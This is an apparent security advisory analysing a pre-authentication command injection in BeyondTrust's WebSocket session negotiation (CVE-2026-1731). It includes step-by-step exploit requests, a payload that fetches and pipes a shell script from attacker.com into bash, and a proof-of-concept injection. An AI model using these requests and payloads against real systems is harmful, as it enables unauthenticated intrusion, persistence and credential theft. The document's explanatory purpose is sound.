BeyondTrust Pre-Auth RCE (CVE-2026-1731): WebSocket OS Command Injection Hits 8,500+ Vulnerable Instances

Technical Analysis: The Attack Chain

Root Cause: Unsanitized Parameter in Bash Numeric Comparison

The vulnerability originates in BeyondTrust's remote session negotiation logic. During a WebSocket-based session handshake, the server extracts a remoteVersion parameter from the incoming WebSocket message and passes it to a Bash script performing a numeric version comparison:

if [[ "$remoteVersion" -gt "$localVersion" ]]; then
    # upgrade path
fi

The remoteVersion value is never validated or sanitized before being interpolated into this expression. In Bash, the -gt numeric comparison inside [[ ]] will trigger command substitution if the variable contains backtick or $() syntax. An attacker supplies a value like 1$(curl${IFS}http://attacker.com/shell.sh|bash) and the shell executes the injected payload during comparison evaluation. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) in a server-side context with no authentication gate in front of the WebSocket endpoint.

Stage 1: Enumerate the Company Identifier

Exploitation begins with a single unauthenticated HTTP request:

GET /get_portal_info HTTP/1.1
Host: target.beyondtrustcloud.com

The JSON response includes configuration metadata, including the x-ns-company field — a tenant identifier used by the WebSocket endpoint to route sessions. This value is required for Stage 2 and is freely disclosed without any authentication.

{
  "x-ns-company": "acmecorp",
  "portal_version": "25.2.1",
  ...
}

Stage 2: Establish the Unauthenticated WebSocket Connection

Using the extracted company value, the attacker initiates a WebSocket upgrade to the /nw endpoint:

GET /nw?company=acmecorp HTTP/1.1
Host: target.beyondtrustcloud.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

The server accepts this connection without requiring any authentication token. The /nw endpoint is intended for the initial phase of remote session negotiation — a phase that was never gated behind authentication, on the assumption that the connection would only come from BeyondTrust client software. This assumption is the design flaw that makes exploitation trivial.

Stage 3: Inject OS Commands via remoteVersion

With the WebSocket open, the attacker sends a crafted session negotiation message:

{
  "type": "session_negotiate",
  "remoteVersion": "1$(id>/tmp/pwned)",
  "clientType": "support_client"
}

The server-side Bash script receives remoteVersion=1$(id>/tmp/pwned), evaluates it inside the numeric comparison, and the command substitution fires — writing the output of id to /tmp/pwned under the BeyondTrust service account. Replace id>/tmp/pwned with a reverse shell, a wget/curl dropper, or a persistence mechanism and you have full pre-auth RCE. Observed payloads in active exploitation include:

• Download and execute SimpleHelp RMM agent for persistent C2 access
• Dump the BeyondTrust credential vault database
• Create rogue local administrator accounts
• Deploy web shells into the BeyondTrust web root

Why This Works Without Authentication

BeyondTrust's architecture exposes the /nw WebSocket endpoint on the same public-facing HTTPS port as the administrative interface. The design rationale is that support clients need to connect before authenticating via the portal UI. The security boundary was supposed to be enforced downstream in the session setup logic — but the command injection fires in the initial negotiation phase, well before any authentication check is reached. This is a classic security layer ordering failure: dangerous operations (shell execution) occurring before the identity verification step.